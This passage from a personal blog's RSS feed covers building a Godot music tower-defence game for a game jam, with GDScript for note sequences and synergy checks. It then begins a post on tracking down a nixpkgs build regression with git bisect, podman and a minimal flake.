<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">random_note</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">possible_notes</span><span class="p">[</span><span class="n">randi_range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">possible_notes</span><span class="o">.</span><span class="n">size</span><span class="p">()</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">)]</span>

<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">note</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">random_note</span>

<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">audio_stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">audio_streams</span><span class="p">[</span><span class="n">random_note</span><span class="p">]</span>

<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="n">shooter</span>
</code></pre></div>

<p>the function <code>_melody_tower()</code> initialises the relevant variables for that type
of tower, there are other functions for each different type of tower, meaning i
only needed one script for all the different tower types.</p>
<p>i was planning to also apply different audio effects to each tower eg reverb,
but i found that for some reason when running the game in a browser the audio
effects didn't work for some reason.</p>
<p>so now we have the fundemental logic of the game. buy towers, fill then extend
the musical sequences, create fun music! but if it was purely random with no
control it wouldn't be very fun, so i needed a way to actually edit the
sequence.</p>
<h3>sequence editor ui</h3>
<p>to solve this, i created a ui to view the current sequence for each tower and
drag the notes around, changing the order they play in:
<img loading="lazy" alt="sequence editor gui" src="https://samiser.xyz/images/my-first-game-jam/sequence_editor.png" /></p>
<p>the sequence bars in the ui have their own representation of the steps in the
sequence, and communication between the shooters/towers and the ui was all
handled with
<a href="https://docs.godotengine.org/en/stable/getting_started/step_by_step/signals.html">signals</a>.
whenever a new shooter is placed, the gui hooks into that signal and updates the
visual representation with the new step in the sequence. likewise, if the
sequence is rearranged via the ui, the shooter indices are changed to represent
their new position in the sequence.</p>
<p>since all of this signal connecting was getting pretty complicated, i decided to
factor out the initialisation code for the towers and the ui into their own
managers so in <code>main.gd</code> im just calling the setup functions for each manager:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">_ready</span><span class="p">()</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="nb nb-Type">void</span><span class="p">:</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">towers</span><span class="w"> </span><span class="p">:</span><span class="o">=</span><span class="w"> </span><span class="n">get_tree</span><span class="p">()</span><span class="o">.</span><span class="n">get_nodes_in_group</span><span class="p">(</span><span class="s2">&quot;tower&quot;</span><span class="p">)</span>

<span class="w">    </span><span class="n">tower_manager</span><span class="o">.</span><span class="n">setup</span><span class="p">(</span><span class="n">towers</span><span class="p">,</span><span class="w"> </span><span class="n">map</span><span class="p">)</span>
<span class="w">    </span><span class="n">wave_manager</span><span class="o">.</span><span class="n">setup</span><span class="p">(</span><span class="n">towers</span><span class="p">,</span><span class="w"> </span><span class="n">map</span><span class="p">)</span>
<span class="w">    </span><span class="n">ui_manager</span><span class="o">.</span><span class="n">setup</span><span class="p">(</span><span class="n">towers</span><span class="p">)</span>
</code></pre></div>

<p>and in each manager i hook up the signals to wherever they need to go, for
example here's the tower_manager setup function:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">setup</span><span class="p">(</span><span class="n">towers_in</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">Array</span><span class="p">,</span><span class="w"> </span><span class="n">map_in</span><span class="p">:</span><span class="w"> </span><span class="n">Node</span><span class="p">)</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="nb nb-Type">void</span><span class="p">:</span>
<span class="w">    </span><span class="n">towers</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">towers_in</span>
<span class="w">    </span><span class="n">map</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">map_in</span>

<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">tower</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">towers</span><span class="p">:</span>
<span class="w">        </span><span class="n">tower</span><span class="o">.</span><span class="n">shooter_destroyed</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">_on_shooter_destroyed</span><span class="p">)</span>
<span class="w">        </span><span class="n">tower</span><span class="o">.</span><span class="n">clicked</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">_on_tower_clicked</span><span class="p">)</span>
<span class="w">        </span><span class="n">tower</span><span class="o">.</span><span class="n">beat</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">_on_tower_beat</span><span class="p">)</span>

<span class="w">    </span><span class="n">map</span><span class="o">.</span><span class="n">clicked</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">_on_map_clicked</span><span class="p">)</span>
</code></pre></div>

<p>another benefit of using this manager pattern was i could use the tower_manager
for inter-tower logic, which brings me to the next problem. i wanted to create a
synergy system where, for example, if you rearranged melody notes to play while
a chord with those notes was playing, they would do extra damage.</p>
<h3>musical synergy</h3>
<p>this was one of the harder problems to tackle. each sequence could be various
lengths, so i needed a way to check whether two synergistic musical elements
were playing simultaneously not just in their respective sequence positions but
in <em>time</em>. for example, if one sequence had a length of 4 and the other a length
of 5, i couldn't just check whether the melody note in position 3 and the chord
in position 3 were the same, because by the second loop of the sequence they
would be playing at different times.</p>
<p>this gets even more complicated when you consider that different towers might be
playing on different subdivisions, eg chords play every half note but melody
notes play every eighth note.</p>
<p>to solve this, i kept track of a global step count for every subdivision and
used that to store the note of the most recent subdivision step for each tower:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">_on_tower_beat</span><span class="p">(</span><span class="n">tower</span><span class="p">:</span><span class="w"> </span><span class="n">Node2D</span><span class="p">,</span><span class="w"> </span><span class="n">step</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">,</span><span class="w"> </span><span class="n">note</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">):</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">subdivision</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">tower</span><span class="o">.</span><span class="n">selected_subdivision</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">global_step</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">BeatManager</span><span class="o">.</span><span class="n">global_subdivision_steps</span><span class="p">[</span><span class="n">subdivision</span><span class="p">]</span>

<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">tower</span><span class="o">.</span><span class="n">tower_type</span><span class="p">:</span>
<span class="w">        </span><span class="s2">&quot;harmony&quot;</span><span class="p">:</span>
<span class="w">            </span><span class="n">harmony_step_notes</span><span class="p">[</span><span class="n">global_step</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">&quot;note&quot;</span><span class="p">:</span><span class="w"> </span><span class="n">note</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;step&quot;</span><span class="p">:</span><span class="w"> </span><span class="n">step</span><span class="w"> </span><span class="p">}</span>
<span class="w">            </span><span class="n">_check_synergy</span><span class="p">(</span><span class="n">global_step</span><span class="p">,</span><span class="w"> </span><span class="n">tower</span><span class="p">)</span>
<span class="w">        </span><span class="s2">&quot;bass&quot;</span><span class="p">:</span>
<span class="w">            </span><span class="n">bass_step_notes</span><span class="p">[</span><span class="n">global_step</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">&quot;note&quot;</span><span class="p">:</span><span class="w"> </span><span class="n">note</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;step&quot;</span><span class="p">:</span><span class="w"> </span><span class="n">step</span><span class="w"> </span><span class="p">}</span>
<span class="w">            </span><span class="n">_check_synergy</span><span class="p">(</span><span class="n">global_step</span><span class="p">,</span><span class="w"> </span><span class="n">tower</span><span class="p">)</span>
<span class="w">        </span><span class="s2">&quot;melody&quot;</span><span class="p">:</span>
<span class="w">            </span><span class="n">_check_melody_synergy</span><span class="p">(</span><span class="n">global_step</span><span class="p">,</span><span class="w"> </span><span class="n">note</span><span class="p">,</span><span class="w"> </span><span class="n">tower</span><span class="p">,</span><span class="w"> </span><span class="n">step</span><span class="p">)</span>
</code></pre></div>

<p>the simplest synergy was checking whether a chord and its bass note are being
played at the same time (eg a C major chord with a C in the bass):</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">_check_synergy</span><span class="p">(</span><span class="n">global_step</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">,</span><span class="w"> </span><span class="n">tower</span><span class="p">:</span><span class="w"> </span><span class="n">Node2D</span><span class="p">):</span>
<span class="w">    </span><span class="c1"># wait one frame to make sure both towers have updated their most recent step notes</span>
<span class="w">    </span><span class="n">await</span><span class="w"> </span><span class="n">get_tree</span><span class="p">()</span><span class="o">.</span><span class="n">process_frame</span>

<span class="w">    </span><span class="c1"># reset all existing synergy</span>
<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">shooter</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">tower</span><span class="o">.</span><span class="n">shooters</span><span class="p">:</span>
<span class="w">        </span><span class="n">shooter</span><span class="o">.</span><span class="n">has_synergy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">false</span>

<span class="w">    </span><span class="c1"># get the latest step notes</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">h_data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">harmony_step_notes</span><span class="p">[</span><span class="n">global_step</span><span class="p">]</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">b_data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">bass_step_notes</span><span class="p">[</span><span class="n">global_step</span><span class="p">]</span>

<span class="w">    </span><span class="c1"># if the latest chord played is the same as the latest bass note, both get synergy</span>
<span class="w">    </span><span class="c1"># (this function is called for both towers)</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">tower</span><span class="o">.</span><span class="n">tower_type</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;harmony&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;bass&quot;</span><span class="p">]</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">h_data</span><span class="o">.</span><span class="n">note</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">b_data</span><span class="o">.</span><span class="n">note</span><span class="p">:</span>
<span class="w">        </span><span class="n">_set_shooter_synergy</span><span class="p">(</span><span class="n">tower</span><span class="p">,</span><span class="w"> </span><span class="n">b_data</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">tower</span><span class="o">.</span><span class="n">tower_type</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">&quot;bass&quot;</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="n">h_data</span><span class="p">)</span>
</code></pre></div>

<p>more complex was checking whether the current melody note was the same as either
the latest chord or bass note. this is harder because several melody notes can
play over one chord/bass note, but since i've stored the most recently played
note for each, i can just compare against that:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">_check_melody_synergy</span><span class="p">(</span><span class="n">global_melody_step</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">,</span><span class="w"> </span><span class="n">melody_note</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">,</span><span class="w"> </span><span class="n">tower</span><span class="p">:</span><span class="w"> </span><span class="n">Node2D</span><span class="p">,</span><span class="w"> </span><span class="n">step</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">):</span>
<span class="w">    </span><span class="n">await</span><span class="w"> </span><span class="n">get_tree</span><span class="p">()</span><span class="o">.</span><span class="n">process_frame</span>

<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">matched</span><span class="w"> </span><span class="p">:</span><span class="o">=</span><span class="w"> </span><span class="bp">false</span>

<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">step_notes</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="p">[</span><span class="n">harmony_step_notes</span><span class="p">,</span><span class="w"> </span><span class="n">bass_step_notes</span><span class="p">]:</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">step_notes</span><span class="o">.</span><span class="n">size</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="p">:</span>
<span class="w">            </span><span class="k">var</span><span class="w"> </span><span class="n">latest_step</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">step_notes</span><span class="o">.</span><span class="n">keys</span><span class="p">()</span><span class="o">.</span><span class="n">max</span><span class="p">()</span>
<span class="w">            </span><span class="k">var</span><span class="w"> </span><span class="n">note</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">step_notes</span><span class="p">[</span><span class="n">latest_step</span><span class="p">]</span><span class="o">.</span><span class="n">note</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="n">note</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">melody_note</span><span class="p">:</span>
<span class="w">                </span><span class="n">matched</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">true</span>
<span class="w">                </span><span class="k">break</span>

<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">shooter</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">tower</span><span class="o">.</span><span class="n">shooters</span><span class="p">:</span>
<span class="w">        </span><span class="n">shooter</span><span class="o">.</span><span class="n">has_synergy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">false</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">matched</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">shooter</span><span class="o">.</span><span class="n">index</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">step</span><span class="p">:</span>
<span class="w">            </span><span class="n">shooter</span><span class="o">.</span><span class="n">has_synergy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">true</span>
</code></pre></div>

<p>i wish i had more time to refine and implement more of these musical synergies
but that was all i could get done within the limited timeframe. i still think
it's pretty neat! here you can see some synergistic notes flying:
<img loading="lazy" alt="synergy notes firing" src="https://samiser.xyz/images/my-first-game-jam/synergy.png" /></p>
<p>and i added highlighting to the sequence editor so you can see what notes are
synergistic with what other elements when hovering over them:
<img loading="lazy" alt="synergy in the sequence editor" src="https://samiser.xyz/images/my-first-game-jam/synergy_ui.png" /></p>
<p>at this point the deadline was nearing and that was about all i had time to
implement, so i submitted the game to the jam!</p>
<h2>feedback and conclusions</h2>
<p>as you can see on the
<a href="https://itch.io/jam/godot-wild-jam-80/rate/3492049">submission page</a> i ended up
placing 26th overall out of 202 entries, and 7th in originality, which i was
really happy with! i also got lots of really great comments and feedback.</p>
<p>i think the main sentiments were that it was a cool and unique idea with an
interesting mechanic but it could probably be clearer how it all works, which i
agree with. there's a very basic tutorial but i think i was kind of hurt by the
no text wildcard, it would probably be better if there was some text explaining
how the systems worked.</p>
<p>it was so much fun during the voting period playing other people's games, rating
them and exchanging feedback. so many talented folks take part in these jams and
it felt incredible to be included in that!</p>
<p>the jam ended up being a fantastic way to force myself to come up with an idea
and scope it down to the point that i would be able to complete it within 7
days. also, since i'm an enthusiast of the godot engine, it was really inspiring
seeing all the different ways that folks are able to make use of it.</p>
<p>i'm really proud of what i managed to create and i'm looking forward to taking
part in more jams!</p>
<p>you can play my game, tuneful towers,
<a href="https://samiser.itch.io/tuneful-towers">here</a></p>
<p>you can also view the full source code
<a href="https://github.com/Samiser/tuneful-towers">here</a></p>]]></description>
    </item>
    <item>
      <title>hunting a nixpkgs regression with git bisect</title>
      <link>https://samiser.xyz/#2025-04-03-hunting-a-nixpkgs-regression-with-git-bisect</link>
      <guid isPermaLink="true">https://samiser.xyz/#2025-04-03-hunting-a-nixpkgs-regression-with-git-bisect</guid>
      <pubDate>Thu, 03 Apr 2025 00:00:00 +0000</pubDate>
      <description><![CDATA[<p>recently i ran into an issue where i updated my nix flake inputs, using the latest version of nixpkgs unstable to build my nixos configuration, and it showed an error when trying to build my configuration:</p>
<div class="codehilite"><pre><span></span><code>error: path &#39;/nix/store/i0wfxny3k1sl4w9ldgsi9f1ww3kq0369-linux-6.12.19-modules-shrunk/lib&#39; is not in the Nix store
</code></pre></div>

<p>initially i was thinking it might be an issue with my configuration but after removing all configuration and building the most minimal nixos possible it still wasn't working. i realised it was likely an issue with nixpkgs itself, so i decided to try and use <code>git bisect</code> to figure out where the regression was introduced.</p>
<p><code>git bisect</code> helps you perform a binary search on all commits between a provided known working commit and a known broken one, which seemed ideal for this situation.</p>
<p>first i needed to create an environment that would easily let me test each revision. to do this, i ran the version of nix i was using in a podman container:
<code>❯ podman run -it nixos/nix:2.18.5 sh</code></p>
<p>from some previous manual testing, i had already found a commit from the past that is good, then a more recent one that is bad. with these two hashes, i started bisecting:</p>
<div class="codehilite"><pre><span></span><code><span class="err">❯</span><span class="w"> </span><span class="n">git</span><span class="w"> </span><span class="n">bisect</span><span class="w"> </span><span class="n">start</span><span class="w"> </span><span class="o">--</span><span class="kr">first</span><span class="o">-</span><span class="n">parent</span><span class="w"> </span><span class="n">bcc57092e37f2623f701ab3afb8a853da48441fa</span><span class="w"> </span><span class="mi">67</span><span class="n">a6eb4d6c145ebcd01deeaf3d88d587c3458763</span>
<span class="n">Updating</span><span class="w"> </span><span class="n">files</span><span class="o">:</span><span class="w"> </span><span class="mi">100</span><span class="o">%</span><span class="w"> </span><span class="p">(</span><span class="mi">9738</span><span class="o">/</span><span class="mi">9738</span><span class="p">),</span><span class="w"> </span><span class="n">done</span><span class="p">.</span>
<span class="n">Previous</span><span class="w"> </span><span class="n">HEAD</span><span class="w"> </span><span class="n">position</span><span class="w"> </span><span class="n">was</span><span class="w"> </span><span class="mi">38</span><span class="n">a133a96601</span><span class="w"> </span><span class="n">chromaprint</span><span class="o">:</span><span class="w"> </span><span class="n">add</span><span class="w"> </span><span class="n">nix</span><span class="o">-</span><span class="n">update</span><span class="o">-</span><span class="n">script</span>
<span class="n">Switched</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">branch</span><span class="w"> </span><span class="s">&#39;master&#39;</span>
<span class="n">Your</span><span class="w"> </span><span class="n">branch</span><span class="w"> </span><span class="n">is</span><span class="w"> </span><span class="n">up</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">date</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="s">&#39;origin/master&#39;</span><span class="p">.</span>
<span class="n">Bisecting</span><span class="o">:</span><span class="w"> </span><span class="mi">728</span><span class="w"> </span><span class="n">revisions</span><span class="w"> </span><span class="kr">left</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">after</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="p">(</span><span class="n">roughly</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="n">steps</span><span class="p">)</span>
<span class="p">[</span><span class="mi">2989</span><span class="n">a2383a89af2bfd77ecca617fdf0c9d5296f8</span><span class="p">]</span><span class="w"> </span><span class="n">xdg</span><span class="o">-</span><span class="n">terminal</span><span class="o">-</span><span class="n">exec</span><span class="o">:</span><span class="w"> </span><span class="mf">0.12.2</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="mf">0.12.3</span><span class="w"> </span><span class="p">(</span><span class="err">#</span><span class="mi">392241</span><span class="p">)</span>
</code></pre></div>

<p>sidenote: when bisecting nixpkgs it's important to use <code>--first-parent</code> so you wont be testing out commits from eg pull requests that wont have any build artifacts cached, meaning you'll have to build the whole system from source.</p>
<p>then i created a flake.nix with a very minimal nixosConfiguration, using the revision of nixpkgs provided by <code>git bisect</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
  <span class="ss">inputs</span> <span class="o">=</span> <span class="p">{</span>
    nixpkgs<span class="o">.</span><span class="ss">url</span> <span class="o">=</span> <span class="s2">&quot;github:NixOS/nixpkgs/2989a2383a89af2bfd77ecca617fdf0c9d5296f8&quot;</span><span class="p">;</span>
  <span class="p">};</span>

  <span class="ss">outputs</span> <span class="o">=</span> <span class="p">{</span>nixpkgs<span class="p">,</span> <span class="o">...</span><span class="p">}:</span> <span class="p">{</span>
    nixosConfigurations<span class="o">.</span><span class="ss">minimal</span> <span class="o">=</span> nixpkgs<span class="o">.</span>lib<span class="o">.</span>nixosSystem <span class="p">{</span>
      <span class="ss">system</span> <span class="o">=</span> <span class="s2">&quot;x86_64-linux&quot;</span><span class="p">;</span>
      <span class="ss">modules</span> <span class="o">=</span> <span class="p">[</span>
        <span class="p">{</span>
          boot<span class="o">.</span>loader<span class="o">.</span>grub<span class="o">.</span><span class="ss">enable</span> <span class="o">=</span> <span class="no">false</span><span class="p">;</span>
          fileSystems<span class="o">.</span><span class="s2">&quot;/&quot;</span> <span class="o">=</span> <span class="p">{</span>
            <span class="ss">device</span> <span class="o">=</span> <span class="s2">&quot;none&quot;</span><span class="p">;</span>
            <span class="ss">fsType</span> <span class="o">=</span> <span class="s2">&quot;tmpfs&quot;</span><span class="p">;</span>
          <span class="p">};</span>
          system<span class="o">.</span><span class="ss">stateVersion</span> <span class="o">=</span> <span class="s2">&quot;25.05&quot;</span><span class="p">;</span>
        <span class="p">}</span>
      <span class="p">];</span>
    <span class="p">};</span>
  <span class="p">};</span>
<span class="p">}</span>
</code></pre></div>

<p>now i could build the system for that specific revision of nixpkgs and see if we trigger the error:</p>
<div class="codehilite"><pre><span></span><code>❯ nix build .#nixosConfigurations.minimal.config.system.build.toplevel --extra-experimental-features nix-command --extra-experimental-features flakes
warning: creating lock file &#39;/root/flake.lock&#39;
error: path &#39;/nix/store/i0wfxny3k1sl4w9ldgsi9f1ww3kq0369-linux-6.12.19-modules-shrunk/lib&#39; is not in the Nix store
</code></pre></div>

<p>we did! so now lets mark that revision as bad and do it all again with the next revision in the bisect</p>
<div class="codehilite"><pre><span></span><code><span class="n">nixpkgs</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="err"></span><span class="w"> </span><span class="n">HEAD</span><span class="w"> </span><span class="p">(</span><span class="mi">2989</span><span class="n">a23</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">BISECTING</span><span class="p">)</span><span class="w"> </span><span class="n">took</span><span class="w"> </span><span class="mi">2</span><span class="n">s</span>
<span class="err">❯</span><span class="w"> </span><span class="n">git</span><span class="w"> </span><span class="n">bisect</span><span class="w"> </span><span class="n">bad</span>
<span class="nl">Bisecting</span><span class="p">:</span><span class="w"> </span><span class="mi">363</span><span class="w"> </span><span class="n">revisions</span><span class="w"> </span><span class="nf">left</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="k">after</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="p">(</span><span class="n">roughly</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="n">steps</span><span class="p">)</span>
<span class="o">[</span><span class="n">fa88185d763e4cb0eee38b06da566f1ad16db30a</span><span class="o">]</span><span class="w"> </span><span class="n">nats</span><span class="o">-</span><span class="nl">server</span><span class="p">:</span><span class="w"> </span><span class="mf">2.10.26</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="mf">2.11.0</span><span class="w"> </span><span class="p">(</span><span class="n">#391437</span><span class="p">)</span>
</code></pre></div>

<p>after doing this for some time, we'll eventually find a culprit commit</p>
<div class="codehilite"><pre><span></span><code><span class="nx">nixpkgs</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="err"></span><span class="w"> </span><span class="nx">HEAD</span><span class="w"> </span><span class="p">(</span><span class="nx">fa88185</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">BISECTING</span><span class="p">)</span>
<span class="err">❯</span><span class="w"> </span><span class="nx">git</span><span class="w"> </span><span class="nx">bisect</span><span class="w"> </span><span class="nx">good</span>
<span class="nx">Bisecting</span><span class="p">:</span><span class="w"> </span><span class="mi">181</span><span class="w"> </span><span class="nx">revisions</span><span class="w"> </span><span class="nx">left</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">test</span><span class="w"> </span><span class="nx">after</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="p">(</span><span class="nx">roughly</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="nx">steps</span><span class="p">)</span>
<span class="p">[</span><span class="mi">3</span><span class="nx">e8f4560cf2ec20c07eacca7693486ef8532df78</span><span class="p">]</span><span class="w"> </span><span class="nx">python312Packages</span><span class="p">.</span><span class="nx">types</span><span class="o">-</span><span class="nx">awscrt</span><span class="p">:</span><span class="w"> </span><span class="m m-Double">0.24.1</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="m m-Double">0.24.2</span><span class="w"> </span><span class="p">(</span><span class="err">#</span><span class="mi">392177</span><span class="p">)</span>

<span class="nx">nixpkgs</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="err"></span><span class="w"> </span><span class="nx">HEAD</span><span class="w"> </span><span class="p">(</span><span class="mi">3</span><span class="nx">e8f456</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">BISECTING</span><span class="p">)</span>
<span class="err">❯</span><span class="w"> </span><span class="nx">git</span><span class="w"> </span><span class="nx">bisect</span><span class="w"> </span><span class="nx">bad</span>
<span class="nx">Bisecting</span><span class="p">:</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nx">revisions</span><span class="w"> </span><span class="nx">left</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">test</span><span class="w"> </span><span class="nx">after</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="p">(</span><span class="nx">roughly</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="nx">steps</span><span class="p">)</span>
<span class="p">[</span><span class="mi">624</span><span class="nx">f7d949adc782408058437768496d472a1f258</span><span class="p">]</span><span class="w"> </span><span class="nx">gose</span><span class="p">:</span><span class="w"> </span><span class="m m-Double">0.9.0</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="m m-Double">0.10.2</span><span class="w"> </span><span class="p">(</span><span class="err">#</span><span class="mi">391264</span><span class="p">)</span>

<span class="err">#</span><span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="w"> </span><span class="nx">cut</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">brevity</span><span class="w"> </span><span class="o">...</span><span class="p">]</span>

<span class="nx">nixpkgs</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="err"></span><span class="w"> </span><span class="nx">HEAD</span><span class="w"> </span><span class="p">(</span><span class="mi">6</span><span class="nx">dd77b6</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">BISECTING</span><span class="p">)</span>
<span class="err">❯</span><span class="w"> </span><span class="nx">git</span><span class="w"> </span><span class="nx">bisect</span><span class="w"> </span><span class="nx">good</span>
<span class="nx">Bisecting</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="nx">revisions</span><span class="w"> </span><span class="nx">left</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">test</span><span class="w"> </span><span class="nx">after</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="p">(</span><span class="nx">roughly</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">step</span><span class="p">)</span>
<span class="p">[</span><span class="mi">8338</span><span class="nx">df11c2a8fe804f5d0367f67533279357109a</span><span class="p">]</span><span class="w"> </span><span class="nx">python312Packages</span><span class="p">.</span><span class="nx">smolagents</span><span class="p">:</span><span class="w"> </span><span class="nx">disable</span><span class="w"> </span><span class="nx">test</span><span class="w"> </span><span class="nx">that</span><span class="w"> </span><span class="nx">requires</span><span class="w"> </span><span class="nx">missing</span><span class="w"> </span><span class="nx">dep</span><span class="w"> </span><span class="err">`</span><span class="nx">mlx</span><span class="o">-</span><span class="nx">lm</span><span class="err">`</span><span class="w"> </span><span class="p">(</span><span class="err">#</span><span class="mi">391629</span><span class="p">)</span>

<span class="nx">nixpkgs</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="err"></span><span class="w"> </span><span class="nx">HEAD</span><span class="w"> </span><span class="p">(</span><span class="mi">8338</span><span class="nx">df1</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">BISECTING</span><span class="p">)</span>
<span class="err">❯</span><span class="w"> </span><span class="nx">git</span><span class="w"> </span><span class="nx">bisect</span><span class="w"> </span><span class="nx">good</span>
<span class="mi">3</span><span class="nx">fcae17eabac8fdc6599d1c67d89726af3682613</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">first</span><span class="w"> </span><span class="nx">bad</span><span class="w"> </span><span class="nx">commit</span>
<span class="nx">commit</span><span class="w"> </span><span class="mi">3</span><span class="nx">fcae17eabac8fdc6599d1c67d89726af3682613</span>
<span class="nx">Merge</span><span class="p">:</span><span class="w"> </span><span class="mi">8338</span><span class="nx">df11c2a8</span><span class="w"> </span><span class="mi">7233659</span><span class="nx">eafee</span>
